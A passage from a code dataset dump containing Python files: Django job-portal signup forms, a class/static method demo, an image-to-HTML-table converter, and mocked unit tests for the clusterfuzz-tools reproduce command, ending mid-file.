account.models import ( GENDER_CHOICE, EDUCATION_CHOICES, \n COMPANY_OWNERSHIP_CHOICES, \n JOB_CATEGORY_CHOICES, MARRIED_STATUS_CHOICES, RELIGION_CHOOSE,\n NATIONALITY_CHOOSE, EDUCATION_BOARD_CHOICES, LANGUAGES_CHOICES )\n\n\n\n\n# Jobseeker Signup Form\nclass JobseekerSignupForm(UserCreationForm):\n FirstName = forms.CharField(widget=forms.TextInput(\n attrs = {'class': 'form-control', 'placeholder':'enter first name'}\n ), required=True, max_length=50, label='First Name')\n\n LastName = forms.CharField(widget=forms.TextInput(\n attrs = {'class': 'form-control', 'placeholder':'enter last name'}\n ), required=True, max_length=50, label='Last Name')\n\n Gender = forms.ChoiceField(choices=GENDER_CHOICE, required=True, label='Gender')\n\n\n JobCategory = forms.ChoiceField(choices=JOB_CATEGORY_CHOICES, required=False, label='Job Category')\n\n\n AboutMe = forms.CharField(widget=forms.Textarea(\n attrs={'class': 'form-control', 'placeholder': 'describe about yourself'}\n ), required=True, min_length=10, label='About Me')\n\n\n\n class Meta:\n model = User\n fields = ['username', 'email', 'FirstName', 'LastName', 'Gender', \n 'AboutMe', 'JobCategory']\n\n\n def clean_email(self):\n username = self.cleaned_data.get('username')\n email = self.cleaned_data.get('email')\n if email and User.objects.filter(email=email).exclude(username=username).count():\n raise forms.ValidationError('This email is already in use! Try another email.')\n return email\n\n\n def clean_username(self):\n username = self.cleaned_data.get('username')\n email = self.cleaned_data.get('email')\n if username and User.objects.filter(username=username).exclude(email=email).count():\n raise forms.ValidationError('This username has already been taken!')\n return username\n\n\n @transaction.atomic\n def save(self):\n user = super().save(commit=False)\n user.is_jobseeker = True\n user.save()\n jobseekerprofile = JobseekerProfile.objects.create(user=user)\n jobseekerprofile.FirstName = self.cleaned_data.get('FirstName')\n jobseekerprofile.LastName = self.cleaned_data.get('LastName')\n jobseekerprofile.Gender = self.cleaned_data.get('Gender')\n jobseekerprofile.MySkill = self.cleaned_data.get('MySkill')\n jobseekerprofile.JobCategory = self.cleaned_data.get('JobCategory')\n jobseekerprofile.AboutMe = self.cleaned_data.get('AboutMe')\n jobseekerprofile.save()\n return user\n\n\n\n\nclass UserUpdateForm(forms.ModelForm):\n class Meta():\n model = User\n fields = ['username']\n\n\nclass JobseekerProfileUpdateForm(forms.ModelForm):\n class Meta():\n model = JobseekerProfile\n fields = '__all__'\n exclude = ('user',)\n \n\n\n\n\n\n\n\n\n\n# Employer Signup Form\nclass EmployerSignupForm(UserCreationForm):\n CompanyName = forms.CharField(widget=forms.TextInput(\n attrs = {'class': 'form-control', 'placeholder':'enter company name'}\n ), required=True, max_length=50)\n\n CompanyCategory = forms.ChoiceField(choices=JOB_CATEGORY_CHOICES ,required=False)\n\n\n CompanyWebsite = forms.CharField(widget=forms.URLInput(\n attrs={'class':'form-contol', 'placeholder': 'eg. https://www.softwarica.com/'}\n ), max_length=100, required=False)\n\n\n\n AboutCompany = forms.CharField(widget=forms.Textarea(\n attrs={'class': 'form-control', 'placeholder': 'describe about your company'}\n ), required=True, min_length=10)\n\n\n class Meta():\n model = User\n fields = ['username', 'email', 'CompanyName', 'CompanyCategory', 'CompanyWebsite', \n 'AboutCompany', 'password1', 'password2']\n\n\n\n def clean_email(self):\n username = self.cleaned_data.get('username')\n email = self.cleaned_data.get('email')\n if email and User.objects.filter(email=email).exclude(username=username).count():\n raise forms.ValidationError('This email is already in use! Try another email.')\n return email\n\n\n def clean_username(self):\n username = self.cleaned_data.get('username')\n email = self.cleaned_data.get('email')\n if username and User.objects.filter(username=username).exclude(email=email).count():\n raise forms.ValidationError('This username has already been taken!')\n return username\n\n\n @transaction.atomic\n def save(self):\n user = super().save(commit=False)\n user.is_employer = True\n user.save()\n employerprofile = EmployerProfile.objects.create(user=user)\n employerprofile.CompanyName = self.cleaned_data.get('CompanyName')\n employerprofile.CompanyCategory = self.cleaned_data.get('CompanyCategory')\n employerprofile.CompanyWebsite = self.cleaned_data.get('CompanyWebsite')\n employerprofile.AboutCompany = self.cleaned_data.get('AboutCompany')\n employerprofile.save()\n return user\n\n\n\n\nclass EmployerProfileUpdateForm(forms.ModelForm):\n class Meta:\n model = EmployerProfile\n fields = '__all__'\n exclude = ('user',)\n\n\n\n\n\n\n\n\n\n# class JobseekerProfileForm(forms.ModelForm):\n# FirstName = forms.CharField(widget=forms.TextInput(\n# attrs = {'class': 'form-control', 'placeholder':'enter first name'}\n# ), required=True, max_length=50, label='First Name')\n\n# LastName = forms.CharField(widget=forms.TextInput(\n# attrs = {'class': 'form-control', 'placeholder':'enter last name'}\n# ), required=True, max_length=50, label='Last Name')\n\n# Email = forms.CharField(widget=forms.EmailInput(\n# attrs={'class': 'form-control', 'placeholder':'enter email address'}\n# ), required=True, max_length=50, label='Email')\n\n# Gender = forms.ChoiceField(choices=GENDER_CHOICE, required=True, label='Gender')\n\n# # DateOfBirth = forms.DateField(widget=forms.DateInput(\n# # attrs = {'class':'form-control', 'placeholder':'Year/Mm/Dd'}\n# # ), required=True, label='Date Of Birth')\n\n# MarrigeStatus = forms.ChoiceField(choices=MARRIED_STATUS_CHOICES, required=True, label='Marriage Status')\n\n# Religion = forms.ChoiceField(choices=RELIGION_CHOOSE, required=True, label='Religion')\n\n# PhoneNumber = forms.CharField(widget=forms.NumberInput(\n# attrs={'class':'form-control', 'placeholder': 'enter your personal phone number'}\n# ), max_length=20, required=True, label='Phone Number')\n\n# Nationality = forms.ChoiceField(choices=NATIONALITY_CHOOSE, required=True, label='Nationality')\n\n# CurrentAddress = forms.CharField(widget=forms.TextInput(\n# attrs={'class': 'form-control', 'placeholder':'enter current address'}\n# ), required=True, max_length=100, label='Current Address')\n\n# PernamentAddress = forms.CharField(widget=forms.TextInput(\n# attrs={'class': 'form-control', 'placeholder':'enter pernament address'}\n# ), required=True, max_length=100, label='Pernament Address')\n\n\n\n# EducationProgram = forms.CharField(widget=forms.TextInput(\n# attrs={'class': 'form-control', 'placeholder':'enter education program eg. ComputerScience'}\n# ), required=True, max_length=100, label='Education Program')\n\n# EducationBoard = forms.ChoiceField(choices=EDUCATION_BOARD_CHOICES, required=True, label='Education Board')\n\n# NameOfInstitute = forms.CharField(widget=forms.TextInput(\n# attrs={'class': 'form-control', 'placeholder':'enter education institute name'}\n# ), required=True, max_length=100, label='Name Of Institute')\n\n\n# MySkill = forms.ModelMultipleChoiceField(Skill.objects.all(), required=False, label='My Skill')\n\n# WorkingExperience = forms.IntegerField(max_value=40, min_value=0, label='Working Experience')\n\n\n# WorkedCompanyName = forms.CharField(widget=forms.TextInput(\n# attrs={'class': 'form-control', 'placeholder':'enter past worked conpany name'}\n# ), required=True, max_length=200, label='Worked Company Name')\n\n# WorkedCompanyWebsite = forms.CharField(widget=forms.URLInput(\n# attrs={'class':'form-contol', 'placeholder': 'eg. https://www.softwarica.com'}\n# ), max_length=100, required=False, label='Company Website')\n\n\n# JobCategory = forms.ModelMultipleChoiceField(Category.objects.all(), required=False, label='Job Category')\n\n\n# Language = forms.ChoiceField(choices=LANGUAGES_CHOICES, required=True, label='Language')\n\n# AboutMe = forms.CharField(widget=forms.Textarea(\n# attrs={'class': 'form-control', 'placeholder': 'describe about yourself'}\n# ), required=True, min_length=10, label='About Me')\n\n\n# Facebook = forms.CharField(widget=forms.URLInput(\n# attrs={'class':'form-contol', 'placeholder': 'eg. https://www.facebook.com/user'}\n# ), max_length=100, required=False, label='Facebook')\n\n# Twitter = forms.CharField(widget=forms.URLInput(\n# attrs={'class':'form-contol', 'placeholder': 'eg. https://www.twitter.com/user'}\n# ), max_length=100, required=False, label='Twitter')\n\n# Instagram = forms.CharField(widget=forms.URLInput(\n# attrs={'class':'form-contol', 'placeholder': 'eg. https://www.instagram.com/user'}\n# ), max_length=100, required=False, label='Instagram')\n\n\n\n\n# UploadCv = forms.CharField(widget=forms.FileInput(\n# attrs={'class':'form-control', 'placeholder':'upload your cv'}\n# ), required=False, label='Upload CV')\n\n# UploadProfilePicture = forms.ImageField(required=True, label='Upload Profile')\n\n\n\n# class Meta:\n# model = JobseekerProfile\n# fields = ['FirstName', 'LastName', 'Email','Gender','DateOffBorth',\n# 'MarrigeStatus', 'Religion', 'PhoneNumber', 'Nationality', \n# 'CurrentAddress', 'PernamentAddress', 'Religion', 'EducationProgram', \n# 'EducationBoard', 'NameOfInstitute', 'MySkill', 'WorkingExperience', \n# 'WorkedCompanyName', 'WorkedCompanyWebsite', 'JobCategory',\n# 'Language', 'AboutMe', 'Facebook', 'Twitter', 'Instagram',\n# 'UploadCv', 'UploadProfilePicture']\n\n\n\n# def clean_field(self):\n# data = self.cleaned_data[\"__all__\"] \n# return data\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n# class EmployerProfileForm(forms.ModelForm):\n# CompanyName = forms.CharField(widget=forms.TextInput(\n# attrs = {'class': 'form-control', 'placeholder':'enter company name'}\n# ), required=True, max_length=50)\n\n# CompanyCategory = forms.ModelMultipleChoiceField(Category.objects.all(),required=False)\n\n# CompanyOwnerShip = forms.ChoiceField(choices=COMPANY_OWNERSHIP_CHOICES, required=True)\n\n# CompanyWebsite = forms.CharField(widget=forms.URLInput(\n# attrs={'class':'form-contol', 'placeholder': 'eg. https://www.softwarica.com/'}\n# ), max_length=100, required=False)\n\n\n# Email = forms.CharField(widget=forms.EmailInput(\n# attrs = {'class': 'form-control', 'placeholder':'enter company email address'}\n# ), required=True, max_length=50)\n\n# Gender = forms.ChoiceField(choices=GENDER_CHOICE, required=True)\n\n# CompanyEstablishDate = forms.CharField(widget=forms.DateInput(\n# attrs = {'class':'form-control'}\n# ), required=True)\n\n\n# TelNo = forms.CharField(widget=forms.NumberInput(\n# attrs = {'class':'form-control', 'placeholder': 'enter company tel. number'}\n# ), max_length=20, required=True)\n\n# PhoneNumber = forms.CharField(widget=forms.NumberInput(\n# attrs = {'class':'form-control', 'placeholder': 'enter your personal phone number'}\n# ), max_length=20, required=True)\n\n\n# CompanyAddress = forms.CharField(widget=forms.TextInput(\n# attrs = {'class': 'form-control', 'placeholder':'enter company address'}\n# ), required=True, max_length=100)\n\n\n \n\n\n\n# FirstName = forms.CharField(widget=forms.TextInput(\n# attrs = {'class': 'form-control', 'placeholder':\"enter company's person first name\"}\n# ), required=True, max_length=50)\n\n# LastName = forms.CharField(widget=forms.TextInput(\n# attrs = {'class': 'form-control', 'placeholder':\"enter company's person last name\"}\n# ), required=True, max_length=50)\n\n\n# Email = forms.CharField(widget=forms.EmailInput(\n# attrs = {'class': 'form-control', 'placeholder':\"enter company's person email address\"}\n# ), required=True, max_length=50)\n\n# PhoneNumber = forms.CharField(widget=forms.NumberInput(\n# attrs = {'class':'form-control', 'placeholder': 'enter your personal phone number'}\n# ), max_length=20, required=True)\n\n\n# Facebook = forms.CharField(widget=forms.URLInput(\n# attrs={'class':'form-contol', 'placeholder': 'eg. https://www.facebook.com/user'}\n# ), max_length=100, required=False)\n\n# Twitter = forms.CharField(widget=forms.URLInput(\n# attrs={'class':'form-contol', 'placeholder': 'eg. https://www.twitter.com/user'}\n# ), max_length=100, required=False)\n\n# Instagram = forms.CharField(widget=forms.URLInput(\n# attrs={'class':'form-contol', 'placeholder': 'eg. https://www.instagram.com/user'}\n# ), max_length=100, required=False)\n\n\n# AboutCompany = forms.CharField(widget=forms.Textarea(\n# attrs={'class': 'form-control', 'placeholder': 'describe about your company'}\n# ), required=True, min_length=10)\n\n\n# CompanyLogo = forms.ImageField(required=True)\n\n\n\n# class Meta():\n# model = EmployerProfile\n# fields = ['CompanyName', 'CompanyCategory', 'CompanyOwnerShip', 'CompanyWebsite', 'Email',\n# 'Gender', 'CompanyEstablishDate', 'TelNo', 'PhoneNumber',\n# 'CompanyAddress', 'FirstName', 'LastName', 'Email', 'PhoneNumber', 'Facebook',\n# 'Twitter', 'Instagram', 'AboutCompany', 'CompanyLogo']\n\n\n# def clean_field(self):\n# data = self.cleaned_data[\"__all__\"] \n# return data\n \n\n\n# class SkillForm(forms.ModelForm):\n# class Meta():\n# model = Skill\n# fields = \"__all__\"\n\n\n# class CategoryForm(forms.ModelForm):\n# class Meta():\n# model = Category\n# fields = \"__all__\"\n\n\n\n\n\n\n \n\n\n\n","sub_path":"job_portal/account/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":14663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"643369684","text":"class Person(object):\n\tcountry = 'china'\n\tdef eat(self):\n\t\tprint('hello')\n\n\t@classmethod\n\tdef greet(cls):\n\t\tcls.country = \"Japan\"\n\t\t# print(\"ccc\")\n\n\t@staticmethod\n\tdef st_md():\n\t\tPerson.country = \"India\"\n\t\tprint('xxooxxooxxx')\n\np1 = Person()\n#实例方法\n# p1.eat()\n# Person.eat()#不能执行\n\n#类方法\nprint(Person.country)\nPerson.greet()\np1.greet()\nprint(Person.country)\np1.st_md()\nPerson.st_md()","sub_path":"basic/day7/13_object_static_method.py","file_name":"13_object_static_method.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"54492007","text":"import os, sys, subprocess\nimport click\nfrom PIL import ImageColor, Image\n\n#make sure the image is good\ndef check_image(image_file):\n #does the file exist?\n if not os.path.isfile(image_file):\n print('File not found')\n exit()\n\n #is the file an image?\n if not image_file.endswith(('.jpg', '.jpeg')):\n print('Filetype not supported bucko!')\n\n #see if image is loadable\n try:\n im = Image.open(image_file)\n return im\n except:\n print('Something broke (probably your file tbh)')\n exit()\n\n\n#counting generator\ndef simple_generator(x):\n for i in range(x):\n yield i\n\n\n#automatically open the html file when the script is done\ndef open_when_done(output_file):\n if sys.platform == \"win32\":\n os.startfile(output_file)\n else:\n opener =\"open\" if sys.platform == \"darwin\" else \"xdg-open\"\n subprocess.call([opener, output_file])\n\n\n#collect command line args/flags for the script\n@click.command()\n@click.option('--image_file', '-i', prompt='Image File', help='Image File')\n@click.option('--output_file', '-o', default='image.html', help='Output File')\ndef start_script(image_file, output_file):\n\n #verify the image and get it's size\n im = check_image(image_file)\n W = im.width\n H = im.height\n print('\\nWorking...')\n\n #make the output html file\n with open(output_file, 'w') as file:\n def fw(to_write):\n file.write(to_write)\n\n #use an html file as a template for the start of the site\n with open('grid.html', 'r') as template:\n fw(template.read())\n\n #wrap rows in tags, and wrap the table in tags\n def table_tags(f):\n def inner(col='', opening_tag='
', closing_tag='
'):\n fw(opening_tag)\n f(col)\n fw(closing_tag)\n return inner\n\n @table_tags\n def table(null):\n for col in simple_generator(H):\n row(col)\n\n @table_tags\n def row(col, opening_tag='', closing_tag=''):\n for row in simple_generator(W):\n pixel_color = im.getpixel((row, col))\n fw(f'')\n\n table()\n print('\\n\\nDone!\\n\\n')\n open_when_done(output_file)\n\n\nif __name__ == '__main__':\n start_script()\n","sub_path":"image2html.py","file_name":"image2html.py","file_ext":"py","file_size_in_byte":2389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"262666744","text":"\"\"\"Test the module for the 'reproduce' command\"\"\"\n# Copyright 2016 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport json\nimport os\nimport mock\n\nfrom clusterfuzz import common\nfrom clusterfuzz import binary_providers\nfrom clusterfuzz import reproducers\nfrom clusterfuzz.commands import reproduce\nfrom error import error\nfrom tests import libs\nfrom test_libs import helpers\n\n\nclass WarnUnreproducibleIfNeeded(helpers.ExtendedTestCase):\n \"\"\"Test warn_unreproducible_if_needed.\"\"\"\n\n def setUp(self):\n helpers.patch(self, ['clusterfuzz.commands.reproduce.logger.info'])\n\n def test_warn(self):\n \"\"\"Test warn.\"\"\"\n reproduce.warn_unreproducible_if_needed(\n mock.Mock(reproducible=False, gestures='gestures'))\n\n self.assertEqual(2, self.mock.info.call_count)\n\n def test_not_warn(self):\n \"\"\"Test warn.\"\"\"\n reproduce.warn_unreproducible_if_needed(\n mock.Mock(reproducible=True, gestures=None))\n self.assertEqual(0, self.mock.info.call_count)\n\n\nclass ExecuteTest(helpers.ExtendedTestCase):\n \"\"\"Test execute.\"\"\"\n\n def setUp(self):\n self.suppress_logging_methods()\n self.chrome_src = '/usr/local/google/home/user/repos/chromium/src'\n self.mock_os_environment({'V8_SRC': '/v8/src', 'CHROME_SRC': '/pdf/src'})\n helpers.patch(self, [\n 'clusterfuzz.commands.reproduce.get_definition',\n 'clusterfuzz.commands.reproduce.get_testcase_info',\n 'clusterfuzz.testcase.Testcase',\n 'clusterfuzz.commands.reproduce.ensure_goma',\n 'clusterfuzz.binary_providers.DownloadedBinary',\n 'clusterfuzz.binary_providers.V8Builder',\n 'clusterfuzz.binary_providers.ChromiumBuilder',\n ])\n self.response = {\n 'testcase': {'gestures': 'test'},\n 'id': 1234,\n 'crash_type': 'Bad Crash',\n 'crash_state': ['halted'],\n 'crash_revision': '123456',\n 'metadata': {'build_url': 'chrome_build_url'},\n 'crash_stacktrace': {'lines': ['Line 1', 'Line 2']}}\n self.mock.get_testcase_info.return_value = self.response\n self.mock.ensure_goma.return_value = '/goma/dir'\n\n self.builder = mock.Mock(symbolizer_path='/path/to/symbolizer')\n self.builder.get_binary_path.return_value = '/path/to/binary'\n\n self.definition = mock.Mock(\n kwargs={}, source_var='V8_SRC', sanitizer='ASAN')\n\n self.definition.builder.return_value = self.builder\n self.mock.get_definition.return_value = self.definition\n\n self.testcase = mock.Mock(\n id=1234, build_url='chrome_build_url', revision=123456,\n job_type='linux_asan_d8', reproducible=True,\n reproduction_args='--always-opt')\n self.mock.Testcase.return_value = self.testcase\n self.options = libs.make_options(testcase_id=str(self.testcase.id))\n\n def test_download_no_defined_binary(self):\n \"\"\"Test what happens when no binary name is defined.\"\"\"\n self.definition.binary_name = None\n self.testcase.stacktrace_lines = [\n {'content': 'incorrect'}, {'content': '[Environment] A = b'},\n {'content': ('Running command: path/to/stacktrace_binary --args --arg2 '\n '/path/to/testcase')}]\n\n self.options.build = 'download'\n reproduce.execute(**vars(self.options))\n\n self.assert_exact_calls(self.mock.get_testcase_info, [mock.call('1234')])\n self.assert_n_calls(0, [self.mock.ensure_goma])\n self.assert_exact_calls(self.mock.Testcase, [mock.call(self.response)])\n self.assert_exact_calls(\n self.mock.DownloadedBinary,\n [mock.call(1234, 'chrome_build_url', 'stacktrace_binary')])\n self.assert_exact_calls(\n self.definition.reproducer,\n [\n mock.call(\n binary_provider=self.mock.DownloadedBinary.return_value,\n definition=self.definition,\n testcase=self.testcase,\n sanitizer=self.definition.sanitizer,\n options=self.options)\n ])\n\n def test_grab_data_with_download(self):\n \"\"\"Ensures all method calls are made correctly when downloading.\"\"\"\n self.definition.binary_name = 'defined_binary'\n self.testcase.stacktrace_lines = [\n {'content': 'incorrect'}, {'content': '[Environment] A = b'},\n {'content': ('Running command: path/to/stacktrace_binary --args --arg2 '\n '/path/to/testcase')}]\n\n self.options.build = 'download'\n reproduce.execute(**vars(self.options))\n\n self.assert_exact_calls(self.mock.get_testcase_info, [mock.call('1234')])\n self.assert_n_calls(0, [self.mock.ensure_goma])\n self.assert_exact_calls(self.mock.Testcase, [mock.call(self.response)])\n self.assert_exact_calls(\n self.mock.DownloadedBinary,\n [mock.call(1234, 'chrome_build_url', 'defined_binary')])\n self.assert_exact_calls(\n self.definition.reproducer,\n [\n mock.call(\n binary_provider=self.mock.DownloadedBinary.return_value,\n definition=self.definition,\n testcase=self.testcase,\n sanitizer=self.definition.sanitizer,\n options=self.options)\n ])\n\n def test_grab_data_standalone(self):\n \"\"\"Ensures all method calls are made correctly when building locally.\"\"\"\n self.options.build = 'standalone'\n reproduce.execute(**vars(self.options))\n self.options.goma_dir = '/goma/dir'\n\n self.assert_exact_calls(self.mock.get_testcase_info, [mock.call('1234')])\n self.assert_exact_calls(self.mock.ensure_goma, [mock.call()])\n self.assert_exact_calls(self.mock.Testcase, [mock.call(self.response)])\n self.assert_exact_calls(\n self.definition.builder,\n [\n mock.call(\n testcase=self.testcase,\n definition=self.definition,\n options=self.options)\n ])\n self.assert_exact_calls(\n self.definition.reproducer,\n [\n mock.call(\n binary_provider=self.builder,\n definition=self.definition,\n testcase=self.testcase,\n sanitizer=self.definition.sanitizer,\n options=self.options)\n ])\n\n\nclass GetTestcaseInfoTest(helpers.ExtendedTestCase):\n \"\"\"Test get_testcase_info.\"\"\"\n\n def setUp(self):\n helpers.patch(self, [\n 'clusterfuzz.common.get_stored_auth_header',\n 'clusterfuzz.common.store_auth_header',\n 'clusterfuzz.commands.reproduce.get_verification_header',\n 'clusterfuzz.common.post'])\n\n def test_correct_stored_authorization(self):\n \"\"\"Ensures that the testcase info is returned when stored auth is correct\"\"\"\n\n response_headers = {'x-clusterfuzz-authorization': 'Bearer 12345'}\n response_dict = {\n 'id': '12345',\n 'crash_type': 'Bad Crash',\n 'crash_state': ['Halted']}\n\n self.mock.get_stored_auth_header.return_value = 'Bearer 12345'\n self.mock.post.return_value = mock.Mock(\n status_code=200,\n text=json.dumps(response_dict),\n headers=response_headers)\n\n response = reproduce.get_testcase_info(999)\n\n self.assert_exact_calls(self.mock.get_stored_auth_header, [mock.call()])\n self.assert_exact_calls(self.mock.store_auth_header, [\n mock.call('Bearer 12345')])\n self.assert_exact_calls(self.mock.post, [mock.call(\n url=reproduce.CLUSTERFUZZ_TESTCASE_INFO_URL,\n headers={'Authorization': 'Bearer 12345',\n 'User-Agent': 'clusterfuzz-tools'},\n data=json.dumps({'testcaseId': 999}),\n allow_redirects=True)])\n self.assertEqual(response, response_dict)\n\n def test_incorrect_stored_header(self):\n \"\"\"Tests when the header is stored, but has expired/is invalid.\"\"\"\n\n response_headers = {'x-clusterfuzz-authorization': 'Bearer 12345'}\n response_dict = {\n 'id': '12345',\n 'crash_type': 'Bad Crash',\n 'crash_state': ['Halted']}\n\n self.mock.post.side_effect = [\n mock.Mock(status_code=401),\n mock.Mock(status_code=200,\n text=json.dumps(response_dict),\n headers=response_headers)]\n self.mock.get_stored_auth_header.return_value = 'Bearer 12345'\n self.mock.get_verification_header.return_value = 'VerificationCode 12345'\n\n response = reproduce.get_testcase_info(999)\n\n self.assert_exact_calls(self.mock.get_stored_auth_header, [mock.call()])\n self.assert_exact_calls(self.mock.get_verification_header, [mock.call()])\n self.assert_exact_calls(self.mock.post, [\n mock.call(\n allow_redirects=True,\n url=reproduce.CLUSTERFUZZ_TESTCASE_INFO_URL,\n data=json.dumps({'testcaseId': 999}),\n headers={'Authorization': 'Bearer 12345',\n 'User-Agent': 'clusterfuzz-tools'}),\n mock.call(\n headers={'Authorization': 'VerificationCode 12345',\n 'User-Agent': 'clusterfuzz-tools'},\n allow_redirects=True,\n data=json.dumps({'testcaseId': 999}),\n url=reproduce.CLUSTERFUZZ_TESTCASE_INFO_URL)])\n self.assert_exact_calls(self.mock.store_auth_header, [\n mock.call('Bearer 12345')])\n self.assertEqual(response, response_dict)\n\n\n def test_correct_verification_auth(self):\n \"\"\"Tests grabbing testcase info when the local header is invalid.\"\"\"\n\n response_headers = {'x-clusterfuzz-authorization': 'Bearer 12345'}\n response_dict = {\n 'id': '12345',\n 'crash_type': 'Bad Crash',\n 'crash_state': ['Halted']}\n\n self.mock.get_stored_auth_header.return_value = None\n self.mock.get_verification_header.return_value = 'VerificationCode 12345'\n self.mock.post.return_value = mock.Mock(\n status_code=200,\n text=json.dumps(response_dict),\n headers=response_headers)\n\n response = reproduce.get_testcase_info(999)\n\n self.assert_exact_calls(self.mock.get_stored_auth_header, [mock.call()])\n self.assert_exact_calls(self.mock.get_verification_header, [mock.call()])\n self.assert_exact_calls(self.mock.store_auth_header, [\n mock.call('Bearer 12345')])\n self.assert_exact_calls(self.mock.post, [mock.call(\n headers={'Authorization': 'VerificationCode 12345',\n 'User-Agent': 'clusterfuzz-tools'},\n allow_redirects=True,\n data=json.dumps({'testcaseId': 999}),\n url=reproduce.CLUSTERFUZZ_TESTCASE_INFO_URL)])\n self.assertEqual(response, response_dict)\n\n def test_incorrect_authorization(self):\n \"\"\"Ensures that when auth is incorrect the right exception is thrown\"\"\"\n\n response_headers = {'x-clusterfuzz-authorization': 'Bearer 12345'}\n response_dict = {\n 'status': 401,\n 'type': 'UnauthorizedException',\n 'message': {\n 'Invalid verification code (12345)': {\n 'error': 'invalid_grant',\n 'error_description': 'Bad Request'}},\n 'params': {\n 'testcaseId': ['999']},\n 'email': 'test@email.com'}\n\n self.mock.get_stored_auth_header.return_value = 'Bearer 12345'\n self.mock.get_verification_header.return_value = 'VerificationCode 12345'\n self.mock.post.return_value = mock.Mock(\n status_code=401,\n text=json.dumps(response_dict),\n headers=response_headers)\n\n with self.assertRaises(error.ClusterfuzzAuthError) as cm:\n reproduce.get_testcase_info(999)\n self.assertIn('Invalid verification code (12345)', cm.exception.message)\n self.assert_exact_calls(self.mock.post, [\n mock.call(\n allow_redirects=True,\n url=reproduce.CLUSTERFUZZ_TESTCASE_INFO_URL,\n data=json.dumps({'testcaseId': 999}),\n headers={'Authorization': 'Bearer 12345',\n 'User-Agent': 'clusterfuzz-tools'}),\n mock.call(\n allow_redirects=True,\n headers={'Authorization': 'VerificationCode 12345',\n 'User-Agent': 'clusterfuzz-tools'},\n url=reproduce.CLUSTERFUZZ_TESTCASE_INFO_URL,\n data=json.dumps({'testcaseId': 999}))])\n\n def test_incorrect_testcase_id(self):\n \"\"\"Ensures that when auth is incorrect the right exception is thrown\"\"\"\n\n response_headers = {'x-clusterfuzz-authorization': 'Bearer 12345'}\n response_dict = {'status': 404}\n\n self.mock.get_stored_auth_header.return_value = ''\n self.mock.get_verification_header.return_value = 'VerificationCode 12345'\n self.mock.post.return_value = mock.Mock(\n status_code=404,\n text=json.dumps(response_dict),\n headers=response_headers)\n\n with self.assertRaises(error.ClusterfuzzAuthError) as cm:\n reproduce.get_testcase_info(999)\n self.assertIn('404', cm.exception.message)\n self.assert_exact_calls(self.mock.post, [\n mock.call(\n allow_redirects=True,\n headers={'Authorization': 'VerificationCode 12345',\n 'User-Agent': 'clusterfuzz-tools'},\n url=reproduce.CLUSTERFUZZ_TESTCASE_INFO_URL,\n data=json.dumps({'testcaseId': 999}))\n ])\n\n\nclass GetVerificationHeaderTest(helpers.ExtendedTestCase):\n \"\"\"Tests the get_verification_header method\"\"\"\n\n def setUp(self):\n helpers.patch(self, [\n 'webbrowser.open',\n 'clusterfuzz.common.ask'])\n self.mock.ask.return_value = '12345'\n\n def test_returns_correct_header(self):\n \"\"\"Tests that the correct token with header is returned.\"\"\"\n\n response = reproduce.get_verification_header()\n\n self.mock.open.assert_has_calls([mock.call(\n reproduce.GOOGLE_OAUTH_URL,\n new=1,\n autoraise=True)])\n self.assertEqual(response, 'VerificationCode 12345')\n\n\nclass EnsureGomaTest(helpers.ExtendedTestCase):\n \"\"\"Tests the ensure_goma method.\"\"\"\n\n def setUp(self):\n self.setup_fake_filesystem()\n self.mock_os_environment(\n {'GOMA_DIR': os.path.expanduser(os.path.join('~', 'goma'))})\n helpers.patch(self, ['clusterfuzz.common.execute'])\n\n def test_goma_not_installed(self):\n \"\"\"Tests what happens when GOMA is not installed.\"\"\"\n\n with self.assertRaises(error.GomaNotInstalledError) as ex:\n reproduce.ensure_goma()\n self.assertTrue('goma is not installed' in ex.message)\n\n def test_goma_installed(self):\n \"\"\"Tests what happens when GOMA is installed.\"\"\"\n\n goma_dir = os.path.expanduser(os.path.join('~', 'goma'))\n os.makedirs(goma_dir)\n f = open(os.path.join(goma_dir, 'goma_ctl.py'), 'w')\n f.close()\n\n result = reproduce.ensure_goma()\n\n self.assert_exact_calls(self.mock.execute, [\n mock.call('python', 'goma_ctl.py ensure_start', goma_dir)\n ])\n self.assertEqual(result, goma_dir)\n\n\nclass SuppressOutputTest(helpers.ExtendedTestCase):\n \"\"\"Test SuppressOutput.\"\"\"\n\n def setUp(self):\n helpers.patch(self, ['os.dup', 'os.open', 'os.close', 'os.dup2'])\n\n def dup(number):\n if number == 1:\n return 'out'\n elif number == 2:\n return 'err'\n self.mock.dup.side_effect = dup\n\n def test_suppress(self):\n \"\"\"Test suppressing output.\"\"\"\n with reproduce.SuppressOutput():\n pass\n\n self.assert_exact_calls(self.mock.dup, [mock.call(1), mock.call(2)])\n self.assert_exact_calls(self.mock.close, [mock.call(1), mock.call(2)])\n self.mock.open.assert_called_once_with(os.devnull, os.O_RDWR)\n self.assert_exact_calls(\n self.mock.dup2, [mock.call('out', 1), mock.call('err', 2)])\n\n def test_exception(self):\n \"\"\"Test absorbing exception.\"\"\"\n with reproduce.SuppressOutput():\n raise Exception('test_exc')\n\n self.assert_exact_calls(self.mock.dup, [mock.call(1), mock.call(2)])\n self.assert_exact_calls(self.mock.close, [mock.call(1), mock.call(2)])\n self.mock.open.assert_called_once_with(os.devnull, os.O_RDWR)\n self.assert_exact_calls(\n self.mock.dup2, [mock.call('out', 1), mock.call('err', 2)])\n\n\nclass GetDefinitionTest(helpers.ExtendedTestCase):\n \"\"\"Tests getting binary definitions.\"\"\"\n\n def setUp(self):\n helpers.patch(self, ['clusterfuzz.commands.reproduce.get_supported_jobs'])\n self.mock.get_supported_jobs.return_value = {\n 'chromium': {\n 'libfuzzer_chrome_msan': common.Definition(\n builder=binary_providers.ChromiumBuilder,\n source_var='CHROMIUM_SRC',\n 